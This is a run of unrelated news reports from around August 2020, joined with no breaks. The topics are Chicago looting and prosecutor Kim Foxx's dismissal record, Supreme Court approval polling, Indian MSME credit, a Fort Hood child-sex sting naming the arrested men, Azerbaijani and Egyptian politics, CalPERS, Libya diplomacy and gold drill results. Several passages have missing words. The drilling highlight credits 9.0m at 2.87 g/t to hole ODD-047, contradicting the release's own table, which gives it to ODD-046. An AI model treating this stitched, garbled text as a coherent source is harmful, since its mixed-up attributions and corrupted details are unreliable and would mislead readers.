Chicago Mayor Lori Lightfoot was at odds with top prosecutor Kim Foxx on Monday after she suggested the surge of lootings on a lack of serious charges earlier this summer that may have encouraged more of the same. All eyes were on Chicago Sunday evening as scores of residents were seen breaking into stores and vandalizing property in a show a widespread looting along Magnificent Mile. A clash between the Chicago Police Department and civilians upset over false claims of an officer-involved shooting of a minor resulted in an embattled night of unrest. More than 100 people were arrested and 13 police officers were injured. In a press conference, Mayor Lightfoot vehemently condemned the looting and tersely asked the Cook County State Attorney's Office to effectively step up to the plate. Scroll down for video The looting in Chicago on Sunday night put Cook County State Attorney Kim Foxx (left) and Mayor Lori Lightfoot (right) at odds on Monday 'I call upon our state's attorney and our courts to make sure these individuals are arrested and held accountable,' said Lightfoot. 'Put your best people on this. We have made the case - these people need to be held accountable. 'We can't continue to allow this to happen,' she said. 'We woke up in shock this morning. These individuals engaged in brazen destruction. 'This had nothing to do with legitimate protected First Amendment speech. Regardless what occurred in our downtown was abject criminal behavior, pure and simple.' Lightfoot suggested that Foxx's office apparently shirked its responsibility to bring Chicagoans engaging in public defacement and looting to justice. The CBD Kratom is damaged after looting broke out in the Loop and surrounding neighborhoods, in Chicago, Monday A number of stores were looted in Chicago on Sunday night after a false social media post claimed a minor was shot dead by police Chicago Police Superintendent David Brown shared the sentiment, adding that a lack of serious charges against defendants during instances of looting in May and June may have emboldened some. According to Brown, the reportedly relaxed charges led to defendants being released quickly and sending them back onto the streets. 'These criminals were emboldened by no consequences in the criminal system,' he said. But Foxx defended herself against a barrage of claims that she hasn't done enough to keep looters off of the streets. In a separate, dueling press conference on Monday, Foxx insisted that the idea her office is not seriously pursuing defendants is untrue. 'The notion that people believe they are somehow empowered because people weren't prosecuted for looting back in the wake of the unrest beginning is simply not true,' said Foxx. She instead passed some of the blame onto the Chicago Police Department, which she said only considered 325 looting arrests felonies. She added that around 300 defendants have been charged with felonies dating back to early June, and that city courts only recently reopened in July so cases are still pending. Foxx noted that while prosecutors can recommend bail, the final decision falls on judges to set the price. 'Those cases are coming to court now. we are now in the August hearing and status dates now,' she said. ABC 7 reports. So far, none of those hundreds of cases have been tied and many were granted pre-trial release amid COVID-19 public health protocols. 'And what we have said to CPD and our other partners is, bring us cases where people are committing those acts and we will pursue them,' said Foxx, Fox 32 reports. A spokesperson for Foxx said the assistant state's attorneys were collaborating with the Chicago Police Department to review video that could identify looters at the scene. Kim Foxx (pictured):'The notion that people believe they are somehow empowered because people weren't prosecuted for looting back in the wake of the unrest beginning is simply not true' On Monday, Lightfoot warned looters who ransacked the city that they are already being hunted by police who are reviewing HD security camera footage from the chaos which saw more than 100 arrests, attacks on 13 police officers and widespread unrest. The chaos began on Sunday afternoon when police responded to Englewood where there had been complaints of a man with a gun. The suspect has not been named but was described by police on Monday as a 20-year-old man with a criminal history that includes charges of burglary, child endangerment and assault and battery. When officers arrived at the scene, he began running and opened fire on them as they pursued him. The cops returned fire, wounding him, and arrested him. He was taken to the hospital and is expected to survive. A different story spread among residents of the neighborhood who were told that the police officers had inadvertently shot a child. Crowds gathered in protest, creating a tense stand-off that lasted several hours and was described by Deputy Police Chief Yolanda Talley as 'very hostile'. Clothing and other items litter the ground at Nordstrom after a night of unrest & looting in downtown Chicago following the shooting of an Englewood man In response to that incident, people on social media organized for a caravan of cars to descend on the city's downtown shopping district to loot. Police found out about the posts and within 15 minutes, were downtown but the violence had begun. Cars plowed through storefronts to give the crowds easy access and despite there being 400 officers dispatched to the area, the cops struggled to keep up with the crowds. One officer was attacked with a bottle, another had his nose broken and a group of different officers were shot at by drive-by assailants while trying to arrest other looters. Police were still arresting people at a Best Buy, which was among the stores that had been ransacked on Monday morning. Some of the city's bridges were raised and tunnels were closed while police tried to regain control of the situation. REVEALED: Top Chicago prosecutor Kim Foxx's office has dismissed more than 25,000 felony cases - including murders, shootings, sexual assaults and Jussie Smollett's 'hoax' attack Cook County State's Attorney Kim Foxx has dismissed more than 25,000 felony cases - including many involving charges of murder and other serious crimes - in her first three years on the job, a new report shows. Foxx gained notoriety last year when she dropped felony charges against Jussie Smollett, the Empire actor accused of staging a racist, homophobic attack on himself in January 2019. The Chicago Tribune on Monday published an analysis of Foxx's overall record on dropping charges, revealing that she has done so at a rate that's 35 percent higher than her predecessor. In the first three years after Foxx took over as Cook County's top prosecutor in 2016, her office dismissed all charges against 29.9 percent of felony defendants, the Tribune found. By comparison, Foxx's predecessor Anita Alvarez dropped charges against just 19.4 percent of felony defendants over her last three years in office. A total of 25,183 defendants had their felony charges dismissed under Foxx up until November 2019, compared with 18,694 under Alvarez during a similar period, the Tribune said. Cook County State's Attorney Kim Foxx has dismissed more than 25,000 felony cases - including many involving charges of murder and other serious crimes - in her first three years on the job, an analysis by the Chicago Tribune has found Foxx took over as state's attorney in 2016 with a promise to bring criminal justice reform and to reduce the population of Cook County Jail. The Democrat is now up for re-election in November after beating three challengers in a tight race that was one of the most expensive of its kind. Foxx defended her case dismissal record in an interview with the Tribune prior to the publication of its analysis. A Tribune analysis found that Foxx has dismissed felony cases at a 35 percent higher rate than her predecessor, Anita Alvarez (pictured in 2015) The newspaper reported that Foxx did not dispute the findings, but said that the high rate of dismissal gave an 'incomplete picture of her commitment to keeping the public safe'. 'It is always eye-opening to be able to look at our own data and compare it to my predecessor's past,' Foxx said. 'I can't reconcile what her decision-making was, and how they chose to (dismiss) cases in the past. 'But I will say that this administration has been clear that our focus would be on violent crime and making sure that our resources and attention would go to addressing violent crime.' Foxx asserted that her office has focused on dropping cases against low-level, nonviolent offenders - though the Tribune's analysis paints a different picture. It found that Foxx has consistently dismissed cases involving murder, shootings, sex crimes and serious drug offenses at a significantly higher rate than Alvarez did. Below is a breakdown of dismissal rates for different felony crimes under Foxx and Alvarez: Homicide cases: Foxx - 8.1 percent, Alvarez - 5.3 percent Sex crimes: Foxx - 9.5 percent, Alvarez - 6.5 percent Aggravated battery: Foxx - 7 percent, Alvarez - 5.9 percent Narcotics: Foxx - 53.8 percent, Alvarez - 34.5 percent Foxx gained notoriety when she dropped felony charges against Jussie Smollett (pictured), the Empire actor accused of staging a racist, homophobic attack on himself in January 2019 Foxx's handling of the Smollett case has been a key issue in her campaign for re-election this fall. She is pictured at a rally after winning the Democratic nomination in March Foxx said she encourages assistant state's attorneys in her office to openly discuss dismissing felony charges with cases that have legal problems. She said fostering that kind of environment is important to her given Chicago's record of wrongful convictions and police misconduct. 'Recognizing the history that we've had around wrongful convictions, recognizing our ethical obligations as prosecutors ... requires us to reinforce that people can, if they believe a case is flawed, bring it to our attention, and we will dismiss it if it's appropriate,' she said. Foxx also said she is more selective about prosecuting the strongest, most winnable cases - though the Tribune's analysis showed that her overall conviction rate (66 percent) is lower than Alvarez's (75 percent). Foxx drew intense criticism last year after she recused herself from the Smollett investigation and her office dismissed all 16 felony charges against the actor. Though Foxx had removed herself from the investigation prior to the charges being dropped, questions remained about whether she acted improperly by speaking to a Smollett relative and aide to former first lady Michelle Obama before the dismissal. Last summer a Cook County judge appointed a special prosecutor, former US Attorney Dan Webb, to investigate whether any misconduct occurred in Foxx's office's handling of the case. Foxx drew intense criticism last year after she recused herself from the Smollett investigation and her office dismissed all 16 felony charges against the actor. Protesters are seen demanding her removal in Chicago on April 1, 2019 Foxx denounced Webb's appointment, saying that it was unnecessary to bring in a special prosecutor when the county's inspector general was already looking into the case. But Webb's investigation proved very influential as it led to a grand jury indicting Smollett on new charges in February. Those charges, which were ridiculed by Foxx, are nearly identical to the ones her office dismissed. Webb said that the decision to drop charges was unjustified in part because the evidence against Smollett seemed overwhelming and because he was not required to admit that the attack was a hoax. The new charges threatened to bring down Foxx's campaign for re-election as her opponents repeatedly used her perceived mistake as ammunition. But Foxx overcame the opposition and won the Democratic nomination in March. 'There was an effort to make this election about one big case involving a celebrity,' she said in her victory speech. 'The voters have overwhelmingly put that fallacy to rest.' Webb's determination on whether Foxx's office engaged in misconduct in the Smollett case has yet to be released. If it comes before the November election and contains damaging conclusions, Foxx could be facing another hard battle to keep her position. At a time when other branches of government are relatively unpopular in the United States, public approval of the Supreme Court has risen. A new public opinion study shows that public approval of the high court is at its highest level in more than 10 years. The Gallup research company released the findings on Wednesday. It found that 58 percent of Americans approve of the way the Supreme Court is doing its job. The courts approval rating has been around 50 percent for many years. The current approval rating is much higher than the other two branches of the federal government: the president and Congress. The most recent Gallup surveys found that about 41 percent of Americans approve of the job done by the president while 18 percent approve of the way Congress is doing its job. The Supreme Court has nine members. The court is currently split between five conservative justices and four liberals. Its five to four rulings on politically charged issues receive the most attention. But many of the courts decisions are reached unanimously or with six or more justices ruling in agreement. Gallup researchers completed questioning for the latest survey between July 1 and 23. It followed one of the most consequential Supreme Court terms in recent years. During that time, the justices ruled in a series of important cases. The court dismissed an attempt by the administration of President Donald Trump to end the Deferred Action for Childhood Arrivals immigration program. It also ruled against a Louisiana anti-abortion law, and expanded anti-discrimination protections for LGBTQ workers. In addition, the court ruled that states cannot bar religious schools from receiving financial aid meant for private schools. It decided that Catholic school teachers cannot launch legal action against their employers for discrimination. And, it ruled that employers are not required to provide birth control in their employees health plans. July 9 was the final day of the Supreme Courts term. The justices ruled on subpoenas for President Trumps financial records. The court ruled that Trump is not immune from a New York state investigation into his finances. But the justices blocked efforts by Congress to get the business records of the president and his family. Gabe Roth is executive director of the not-for-profit group Fix the Court. He said Americans often base their ideas of the court on only a few well-known cases. He added that Americans often ignore many other actions that receive little or no attention. Im Mario Ritter, Jr. Masood Farivar reported this story for VOANews. Mario Ritter Jr. adapted it for VOA Learning English. George Grow was the editor. __________________________________________________________ Words in This Story branch n. a division or part of a large, complex organization unanimously adv. done without disagreement, with all in agreement consequential adj. important LGBTQ adj.(acronym) describing people with non-traditional sexual identities (Lesbian, Gay, Bisexual, Trans-sexual, Queer) subpoena n. (legal) a court order requiring that evidence be provided immune adj. to have protection from something that is required of most people by law And follow us on Facebook. As the Emergency Credit Line Guarantee Scheme, specially formed for MSMEs, progresses, the government is considering allowing to lend under it too. Addressing a webinar at the 'FICCI-SBI Atmanirbhar MSME Virtual Conclave', Micro, Small and Medium Industries Minister said that the government is discussing the matter with the Reserve Bank of India (RBI). " that are not included as a member lending institutions under the Emergency Credit Line Guarantee Scheme (ECLGS) will be included as lenders for MSMEs, under a scheme being discussed in consultation with the RBI," a FICCI statement quoted Gadkari as saying. He also urged the states to release payments due to within 45 days, as "this will help bring liquidity, which will accelerate the economic growth of the country". Gadkari emphasised that special focus towards export enhancement is the need of the hour, and there is also a need to focus on import substitution to replace imports with domestic production. He also urged the industry to identify the sectors heavily reliant on imports, particularly from China, and look for substitutes towards indigenous production to make India self-reliant. Gadkari also said that the government aims to increase MSMEs' contribution to the GDP to 50 per cent and in share of exports to 60 per cent, which would help the sector create 5 crore jobs in the next five years. "The government is formulating a special policy to generate employment in the rural areas and aims to increase the turnover of village industries and encourage medium scale units such as ago and food processing industries, handloom, and handicrafts," he said. State Bank of India Chairman Rajnish Kumar said that the advancement of digital technology has revolutionised the process of lending to as the availability of data and technology in the form of analytics has made it easier to automate lending decisions to the sector. "We will be using the digital platform in a big way for lending," he said. --IANS rrb/sn/vd (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Panels will soon be installed near each of 12 Confederate state monuments at Gettysburg National Military Park to offer visitors more context to understand when and under what circumstances they were erected. The National Park Service expects the panels to be added by September. They will be located near the Alabama, Arkansas, Florida, Georgia, Louisiana, Maryland, Mississippi, North Carolina, South Carolina, Tenessee, Texas and Virginia state monuments. Two Fort Hood soldiers are among nine arrested in a child prostitution sting. Three soldiers, including the two stationed at Fort Hood, were caught allegedly trying to pay minors for sex over social media, Killeen Police said Monday. The two-day sting was a joint operation of Killeen Police Department Special Victims Unit and the Texas Department of Public Safety Human Trafficking Program. Two Fort Hood soldiers are among nine arrested in a child prostitution sting (Stock image) Nine men, three of whom are in the military, contacted officers posing as underage girls on social media and arranged to meet them for sex. They believed the girls were aged 15 or 16. The men were willing to pay the girls in cash, drugs or alcohol, police allege. The men were arrested when they arrived at the pre-agreed locations to meet who they thought were the underage girls. Among the charges handed out were seven felony prostitution charges, two misdemeanor prostitution charges and confiscated two guns. 'The overall goal was to locate and arrest subjects who were willing to make overt efforts to pay minors to engage in sexual acts,' the Killeen Police Department said in a statement. Among those arrested were Anthony Xavier Antwon, 25, and Timmy Jones Jr., 30, who are stationed at Fort Hood. Pierre Jean, 32, who is stationed at a base in San Antonio, was also arrested in the sting, according to a police spokeswoman. The other men were identified as Brian Harley Flynn, 21, of Temple, Brandon Anthony Lee, 25, of Killeen, Rakeem Jamal Nelson, 28, of Killeen, Shaun Paul Moore, 39, of Kempner and Javier Perez, 40, of Austin. BAKU, Azerbaijan, Aug.11 By Nargiz Sadikhova Trend: BP will continue its business in Azerbaijan, Bakhtiyar Aslanbayli, BPs communications and advocacy vice president for the Middle East and Caspian Region stated, Trend reports with reference to Aslanbaylis official Twitter page. We have been present in Azerbaijan for around three decades investing in oil & gas. We'll continue our business here while we also will look for opportunities to expand our relationship with Azerbaijan on a range of other areas of our long-term energy partnership, Aslanbayli wrote. By Ayya Lmahamad Azerbaijan's Labor and Social Protection Minister Sahil Babayev has said that the government spending on social projects and employment support measures have reached record indicators in 2020. In an interview with local media, Babayev said that the targeted social assistance in the country was expanded in 2020 to cover 350,000 members of 84,000 families Babayev stated that a record number of over 1,500 apartments and private houses, as well as 400 cars will be handed over to martyrs families and disabled war veterans in 2020. In addition, the program of social services for elderly people over 65 years old covers 15,000 people. Moreover, during the special quarantine regime, more than 100,000 families received 200,000 food sets. The minister said that Azerbaijan allocated AZN 200 million ($117.6m) for the social security programs in 2020 that cover over 500,000 people. The minister added that social protection support was provided to 2 million people, of which 1,660,000 were supported in the framework of maintaining labor relations, and more than 700,000 people were supported in the framework of unemployment and support for low-income people who lost their income during quarantine. "These measures once again show that the welfare of Azerbaijani citizens is at the center of state policy," Babayev said. It should be noted that Azerbaijan has also allocated AZN 53 million ($31.1m) to pay benefits to unemployed people amid COVID-19. The lump-sum payments in the amount of AZN 190 ($111.7) will be provided in Baku, Jalilabad, Ganja, Masalli, Mingachevir, Sumgayit, Yevlakh and in Absheron, Barda, Goranboy, Goygol, Khachmaz, Salyan districts regions where the special quarantine regime has been imposed. The government has also exempted legal entities and individual entrepreneurs in Azerbaijan operating in the spheres negatively affected by the COVID-19 from rental payment for the period of nine months - from April 2020 till January 2021. --- Follow us on Twitter @AzerNewsAz Homicide rates in 20 major American cities in June jumped 37 percent from the previous month, compared with a six percent increase over the same period in 2019, University of Missouri criminologist Richard Rosenfeld told the New York Times on Tuesday. The unusual spike in homicides and aggravated assault comes as overall crime in most American cities is down. Police in some cities, including New York, have complained that the need to divert officers to deal with George Floyd protests has left some neighborhoods without effective enforcement, while criminologists cited by the Times have said that the rise in homicides likely has many additional causes. Among those causes are the effects of coronavirus lockdowns on various cities. Im sure there will be academic studies for years to come as to what caused the spike of 2020, commented Tim Garrison, U.S. Attorney for the Western District of Missouri. Kansas City, which lies in Garrisons district, saw 44 murders over May and June of 2020, more than twice the amount recorded over the same period the previous year. Im sure the lockdown didnt help, Garrison continued. When you already have a stressed economic situation and you put a lot of folks out of work, and a lot of teenagers out of school, its a volatile situation. Both Chicago and New York have seen a major increase in homicides and shooting victims this year. Chicago police recorded 440 homicides in the first seven months of 2020, up from 290 homicides over the same period last year. New York has had a 30-percent increase in homicides in 2020 as compared with 2019. More from National Review CAIRO - Egyptians began voting Tuesday for seats in the Senate, the upper chamber of Parliament that was restored as part of constitutional amendments approved in a referendum last year. The election comes as the country faces an increase in coronavirus cases. Authorities said face masks would be handed out to voters for free and polling stations were disinfected ahead of the balloting to ease concerns amid the pandemic. Little attention has been paid to the election as the 300-seat Senate unlike the House of Representatives, the lower chamber has no legislative powers and will have mainly an advisory role. It replaces the Shura Council, which was dissolved in 2014. Voting was to continue Wednesday. Prime Minister Mustafa Madbouly urged Egyptians to vote, bolstering democracy ... and enriching the political life in Egypt, his office said in a statement. Some 63 million voters are eligible to cast ballots. Only 200 of the 300 Senate seats are up for grabs, with 787 candidates running. Egyptian expats abroad voted Sunday and Monday. Security was tight, with police at polling stations and patrolling Cairo streets. The military said it deployed troops to assist. The first 100 seats in the Senate are reserved for individual candidates, the next 100 for those running on a list dominated by pro-government parties while Egyptian President Abdel Fattah el-Sissi will choose the remaining 100 members. Outside a polling centre near the Cairo University, at least a dozen people, mostly women, lined up to cast their ballots. Everyone in the line wore face masks and observed social distancing regulations. Mahasin Abdel-Aziz said she approved of the 25% quota for women in the Senate, passed in the April 2019 referendum on the amendments to the constitution. She said the country has not seen such an honourable representation of Egyptian women in Egypts political life. The results were expected within a week and runoffs will take place in September. Lasheen Ibrahim, chairman of the National Election Authority, called voting a national duty and warned in televised comments Saturday that those who boycott the election could be fined up to 500 Egyptian pounds ($32), under an Egyptian law that has existed for years but was never really upheld. For the past two weeks, Cairo and other cities and towns across the country have been awash with posters and banners of candidates, mostly pro-government businessmen and politicians. Ahmed Abd Rabou, a visiting assistant professor at the University of Denver, argued that a Senate with such limited powers is meaningless. It has no value, but to introduce proposals, studies and consultations to the countrys institutions, he said in a Facebook post. The election comes despite an increase in coronavirus cases this week, after the daily reported numbers dropped from around 1,500 to 112 on Aug. 4. However, the actual numbers of COVID-19 cases, like elsewhere in the world, are thought to be far higher, in part due to limited testing. The Health Ministry on Monday reported 174 new cases of the virus and 26 deaths. Overall, the country of more than 100 million people has reported more than 95,600 confirmed cases, including 5,035 deaths. Thats the highest number of fatalities in the Arab World, and the third in the Middle East, tailing Iran and Turkey, according to a tally by The Associated Press. Egypts latest constitutional amendments extended a presidents term in office from four to six years, allowing for a maximum of two terms. But they also included a specific article extending el-Sissis current second four-year term to six years and allowing him to run for another six-year term in 2024 potentially extending his rule until 2030. Read more about: (Reuters) - The California State Controller Betty Yee has called for the board of the California Public Employees' Retirement System (CalPERS), the largest public U.S. investment fund, to launch an inquiry into the abrupt exit of its chief investment officer. Yu Ben Meng, a U.S. citizen born in China, resigned from his position at the $400 billion fund last week, saying he needed to focus on his health and family. In a letter sent to CalPERS' Board President Henry Jones on Monday, Yee called for a "swift and thorough inquiry" to determine whether any laws had been violated or whether the pension system had suffered "financial and reputational damage". Yee said the board should convene within 48 hours of receipt of the letter. Meng's resignation came amid pressure from the Trump administration to curb investments in China. Meng has twice worked for CalPERS, the first time starting in 2008 and the second time beginning in January 2019 when he became CIO, according to the fund's website. In between the CalPERS stints, Meng worked for three years as deputy CIO with Chinas State Administration of Foreign Exchange (SAFE), which oversees Chinas U.S. Treasury security holdings. CalPERS manages pension and health benefits for more than 1.6 million California public employees, retirees and their families. (Reporting by Aishwarya Nair in Bengaluru; Editing by Simon Cameron-Moore) By Azernews By Akbar Mammadov Serbia and Azerbaijan have expressed support for each others territorial integrity, Serbian Deputy Prime Minister Nebojsa Stefanovic who is in official visit in Baku told reporters on August 11. Stefanovic said that Serbia and Azerbaijan have discussed security cooperation and reached an agreement in expanding cooperation in the exchange of sensitive information, counter-terrorism and other significant fields. At the same time, we held discussions in the field of economic cooperation, and we believe that cooperation in this area can be further deepened, Stefanovic added. Stefanovic emphasized that Serbia and Azerbaijan are strategic partners and have strong friendly relations. The presser followed the meeting held between the Serbian delegation and senior Azerbaijani officials - Secretary of the Security Council under the President of Azerbaijan Ramil Usubov, Presidential Aide and Head of the Foreign Policy Department of the Presidential Administration Hikmet Hajiyev, Deputy Foreign Minister Araz Azimov and Azerbaijani Ambassador to Serbia Eldar Hasanov. Nebojsa Stefanovic is also Secretary of the National Security Council and Interior Minister of Serbia. I believe that through these visits and meetings we will achieve a higher level of cooperation, Stefanovic said, adding that his visit Baku aims to further develop the relations between the two countries. Our goal is to strengthen cooperation not only in the field of security, but also in other areas, Stefanovic told the media. The Serbian minister stressed that true friendship between the presidents, governments and peoples of the two countries can also be reflected in the economic sphere. We are very pleased with the activities of Azerbaijani companies operating in Serbia, they are very effective. We believe that this cooperation can be further expanded and has great potential for this. This cooperation can be beneficial for both parties. I believe that this cooperation will bring the two countries closer in the future. " The Serbian deputy prime minsiter noted that during the meeting, the sides stressed the importance of resolving all conflicts peacefully on the basis of UN principles. "I think this is important for the future of the countries facing the conflict and is in the interests of both countries," he added. The Serbian delegations visit to Baku follows the phone conversation held between President Ilham Aliyev and Serbian President Alexandar Vu?i? on August 7. During the phone call, Vu?i? said that a high-level Serbian delegation would be sent to Azerbaijan in the near future to investigate Armenias use of Serbian-made weapons during the recent cross-border clash with Azerbaijan. President Ilham Aliyev noted that Armenias use of Serbian-made ammunition in shelling Azerbaijani military and civilian positions that killed servicemen and a civilian, has caused concern among the Azerbaijani public. It should be noted on July 20, Azerbaijan's Foreign Ministry summoned Serbia's Charge d'Affaires Danica Veinovic over the delivery of a large amount of military ammunition and mortar from Serbia to Armenia. The cross-border clashes between Azerbaijan and Armenia started on July 12 noon after Armenian troops fired artillery at Azerbaijani military post in Tovuz region. Azerbaijani armed forces retaliated destroying a stronghold, bombshells, vehicles and servicemen on the territory of the Armenias military unit by using artillery, mortars and tanks. Azerbaijan has also downed six Armenian UAVs. Azerbaijan lost 12 servicemen, including an army general, during cross-border clashes from July 12 till July 16. Armenian forces have also been shelling civilians in villages in Tovuz. An Azerbaijani civilian in Tovuzs Aghdam village was killed as a result of artillery shelling by the Armenian armed forces on July 14. US ambassador to Libya speaks to Ahram Online about the prerequisites for a peace deal in Libya amid his current visit to Cairo US Ambassador to Libya Richard Norland visited Cairo on Monday for talks with Egyptian officials and the speaker of the Tobruk-based Libyan House of Representatives, Aguila Saleh, on means of resolving the Libyan conflict. Ahram Online spoke to the envoy about the Libyan crisis, and Washingtons position on recent developments. Norland said Washington aims to get forces to pull back and find some sort of neutral security arrangement for Sirte. He revealed that one of the ideas suggested during talks involved the establishment of a demilitarised zone around Sirte. He wants the Russians to be involved in a productive way instead of supporting armed groups, while pointing out that only international courts can decide on the issue of Eastern Mediterranean cooperation between Turkey and the Tripoli-based Government of National Accord (GNA). Ahram Online: What was the impact of the Turkish intervention on Libya's political and security conditions? Richard Norland: First of all, let me say that this visit took place in the context of recent conversations between US President Donald Trump and Egypts President Abdel-Fattah El-Sisi, and between US Secretary of State Mike Pompeo and Egypts Foreign Minister Sameh Shoukry. The idea was to follow up those conversations to try to seize an opportunity that in the end we hope will help lead to the departure of all foreign forces from Libya. We see that the political dimension of the Cairo Declaration on 6 June offers an opportunity for new voices to emerge from Libyas east to engage with the GNA in Tripoli and try to come up with a Libyan political dialogue with a new approach and a negotiated solution to the conflict. We see this hopefully as the beginning of specific steps to deal with confrontation around Sirte and Jufra, and also to help resume oil production in Libya, which has an important security dimension to it. We want to help the Libyans who want to restore their sovereignty, and in that sense I believe it has been a very useful visit. The Turkish intervention produced a kind of a stalemate, which has created an environment where people understand that there is only a political solution. The government in Tripoli reluctantly made arrangements for Turkey to support them militarily when it appeared that the capital was about to fall to Haftars offensive. But I argue that there should be limits to any foreign intervention, and the dynamic now should be on how to end and de-escalate these interventions on all sides, and there is an opportunity to do that because of the stalemate that exists on the battlefield right now. We want to take advantage of that opportunity because the confrontation that is out there with the Turkish forces on one side, and the other forces, is one in which there could be a miscalculation any time that could lead to disastrous results for Libya and its neighbours. AO: What are the prerequisites for a peace deal in Libya? RN: First, foreign actors have to stop fuelling the conflict, especially those countries that are providing military equipment and supporting mercenaries, and others who are helping to fuel the conflict. This really needs to end. Also, all the commitments that were made in Berlin, if fulfilled, will be the recipe for addressing the conflict. I think if all pitch in now to support those in Libya who are patriotic nationalists trying to end the conflict and the involvement of all foreign forces, that is the other part of the equation. In that respect, the political dimension of the Cairo Declaration has been positive. AO: What is the possibility of having a US plan in terms of creating a demilitarised zone in Sirte? RN: One of the ideas we are suggesting is supporting some sort of a demilitarised solution around Sirte. We are not the only ones who suggested that, but if we can use our influence to do so, we would like very much to do that. The aim is to get forces to pull back, to find some sort of neutral security arrangement for the city itself, and to avoid the risk of Sirte becoming a flashpoint for an expanded conflict. AO: Do you think there is progress taking place towards reaching a final settlement between the warring factions? RN: We have an opportunity here to consolidate a long-term ceasefire, and I am not going to say whether I am optimistic or pessimistic, but I think it is an opportunity that rational parties support and will continue to do so. The reason is that the alternative is a serious regional conflict. AO: Turkey signed an accord with the GNA last year to create an exclusive economic zone from Turkey's southern Mediterranean shore to Libya's northeast coast. In your view, do Turkey and the GNA have an oil-for-protection deal? RN: Regardless of why the agreement was signed, its impact and how it proceeds is something that will have to be decided through international, legal processes in the courts, and I think parties on both sides recognise that. The issue is being contested and will have to play itself out in international courts. AO: In June, Egypt's President Abdel-Fattah El-Sisi described Sirte and Al-Jufra as a redline for Egyptian national security. What is the US position on such a reaction by Cairo towards the Turkish-GNA moves? RN: Obviously, we respect the presidents statements, as it shows the risk of escalations and the growing imperative to find a solution to this. In our discussions today, Egyptian officials pointed out to me, which I think is one of the most important points that even President El-Sisi made, that Egypt does not want to see any kind of military action either from the east or the west of Libya, and that Egypt opposes any kind of attack on Tripoli. From my perspective as ambassador to Libya, hearing those assurances from President El-Sisi, to the extent that growing confidence can be built around those assurances, I think it could have a very powerful impact on what happens next to stabilise the situation further. AO: What is the US position on the Libyan tribal leaders' call, which Egypt agreed to, for an Egyptian intervention in Libya? RN: The broader issue is that we support efforts to de-escalate the situation. We believe in the urgency in helping all parties and the UN to come up with a negotiated settlement here. AO: Russia is involved in Libya. What is the US position on Russia's military presence in an oil-rich country that Western oil companies have worked in for years? RN: Russia has legitimate commercial interests in Libya like everybody else. What surprises us is that Russia pursuing its interests through the Wagner Group, bringing in sophisticated, hard military equipment and doing things that are not helping to stabilise the country. We have noticed in the last couple of days, with the disaster in Beirut, that Russia, through its ministry of emergency services, has actually done very good work in Lebanon to help with that crisis. From our perspective, it would be good to see Russia involving itself in productive way in Libya, not in a way that fuels conflict. Search Keywords: Short link: Figure 1 Drill section showing significant intersections at the Sivri Tepe target. Results for drill hole ODD-045 were previously disseminated (June 2, 2020).Drill results are pending for additional drill holes and drilling is ongoing. Drill section showing significant intersections at the Sivri Tepe target. Results for drill hole ODD-045 were previously disseminated (June 2, 2020).Drill results are pending for additional drill holes and drilling is ongoing. Figure 2 Map showing location of drill holes completed at Obichnik; Durusu and Sivri Tepe. Map showing location of drill holes completed at Obichnik; Durusu and Sivri Tepe. Figure 3 Map showing location of Rozino drill holes completed, planned drill holesand the PEA design pit limits. Map showing location of Rozino drill holes completed, planned drill holesand the PEA design pit limits. Highlights include: Drill Hole ODD-047: 9.0m @ 2.87 g/t gold VANCOUVER, British Columbia, Aug. 11, 2020 (GLOBE NEWSWIRE) -- Velocity Minerals Ltd. (TSX.V: VLC) (Velocity or the Company) announces receipt of results for additional drill holes at the Obichnik gold project (Obichnik) and the Rozino gold deposit (Rozino). Velocity previously disclosed initial drill results from a single drill hole at the Sivri Tepe target at Obichnik (previous news release June 2, 2020). Results have been received for two additional drill holes with both intersecting significant gold mineralization. Mineralization is open and drilling is ongoing. Highlights include: At Obichnik, the Sivri Tepe drilling returned near-surface gold mineralization (Figure 1) including drill hole ODD-046; 9.0m grading 2.87 g/t gold. The discovery drill hole (ODD-045) intersected 3.6m grading 3.72 g/t gold close to surface. The Sivri Tepe target is approximately 400m west of the established Durusu Zone (Figure 2) where near-surface, high-grade mineralization has been defined over a strike length of 300m. The Sivri Tepe target has intersected near-surface mineralization in all drill holes completed to date (Table 1). Mineralization is open in all directions and drilling is ongoing. The drill program at Sivri Tepe is utilizing multiple geochemical and geophysical data sets, including a gold-in-soil anomaly measuring approximately 300m x 400m. Figure 1: Drill section showing significant intersections at the Sivri Tepe target. Results for drill hole ODD-045 were previously disseminated (June 2, 2020). Drill results are pending for additional drill holes and drilling is ongoing. https://www.globenewswire.com/NewsRoom/AttachmentNg/c43d0e8d-57d6-46dd-935d-bc118acda3c9 Story continues Drill Hole From (m) To (m) Interval (m) Gold (g/t) ODD-045 5.8 9.4 3.6 3.72 ODD-045 22.0 24.9 2.9 0.51 ODD-046 36.1 40.8 4.7 0.92 ODD-046 44.1 53.1 9.0 2.87 ODD-047 14.5 30.5 16.0 0.74 Table 1: Significant Exploration Drill Results at Obichnik Project (Sivri Tepe target) The drill intersections disclosed here have not yet been included in a resource model and true thickness of mineralization has not yet been determined. Drill holes are designed to intersect mineralization perpendicular or close to perpendicular. Drill intersections are calculated using a 0.2 g/t gold trigger, a minimum 0.5 g/t gold composite, and a maximum of 3 metres consecutive waste. Results from ODD-045 were previously disclosed in news release dated June 2, 2020. Figure 2: Map showing location of drill holes completed at Obichnik; Durusu and Sivri Tepe. https://www.globenewswire.com/NewsRoom/AttachmentNg/2a7eb106-1765-4a91-ae8e-6597240baa10 At Rozino, drilling aimed at expanding the resource base to the south of the Preliminary Economic Assessment (PEA) design pit limits continues to intersect gold mineralization (Figure 3, Table 2). Drilling is tracking the strike extent on the western flank of the deposit and a further section 50m to the southeast of the initial 4 holes is in progress. Drill hole ID From (m) To (m) Interval (m) Gold (g/t) RDD-191 11.30 34.50 23.20 0.95 including 24.50 34.50 10.00 1.78 RDD-192 43.10 46.00 2.90 0.66 RDD-193 24.80 29.80 5.00 0.64 RDD-193 33.80 35.80 2.00 0.55 RDD-193 51.80 54.80 3.00 3.99 RDD-194 65.00 72.60 7.60 0.56 Table 2: Significant Exploration Drill Results at Rozino Gold Project The drill intersections disclosed here have not yet been included in a resource model and true thickness of mineralization has not yet been determined. Drill holes are designed to intersect mineralization perpendicular or close to perpendicular. Drill intersections are calculated using a 0.2 g/t gold trigger, a minimum 0.5 g/t gold composite, and a maximum of 3 metres consecutive waste. Results from RDD-191 were previously disclosed in news release dated July 21, 2020. Figure 3: Map showing location of Rozino drill holes completed, planned drill holes and the PEA design pit limits. 